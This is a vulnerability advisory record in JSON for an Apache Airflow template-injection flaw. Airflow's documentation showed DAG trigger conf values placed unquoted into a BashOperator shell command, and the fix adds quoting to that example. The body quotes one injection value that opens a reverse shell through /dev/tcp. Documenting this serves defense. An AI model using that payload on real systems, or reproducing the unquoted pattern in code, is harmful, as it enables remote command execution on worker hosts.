{"id":"CVE-2026-42252","aliases":["GHSA-c85c-g9wv-pph2","BIT-airflow-2026-42252","PYSEC-2026-184"],"title":"Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine","summary":"Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine","severity":"critical","cvss":9.1,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","vendor":"apache-airflow","product":"apache-airflow","ecosystem":"pip","affected":["apache-airflow >= 3.0.0, < 3.2.2"],"patched":["apache-airflow 3.2.2"],"published":"2026-06-01","updated":"2026-07-09","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-c85c-g9wv-pph2","references":[{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42252"},{"url":"https://github.com/apache/airflow/pull/64129"},{"url":"https://github.com/apache/airflow"},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/apache-airflow/PYSEC-2026-184.yaml"},{"url":"https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7"}],"tags":["osv","pip"],"epss":0.00383,"epssPercentile":0.32243,"ingestedAt":"2026-07-10T13:49:10.709Z","slug":"CVE-2026-42252","body":"## Overview\n\nApache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i >& /dev/tcp/.../9999 0>&1; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.\n\n## Affected packages\n\n- `apache-airflow >= 3.0.0, < 3.2.2`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `apache-airflow 3.2.2`","depth":"midnight","depthScore":50,"depthScoreParts":{"impact":50.1,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}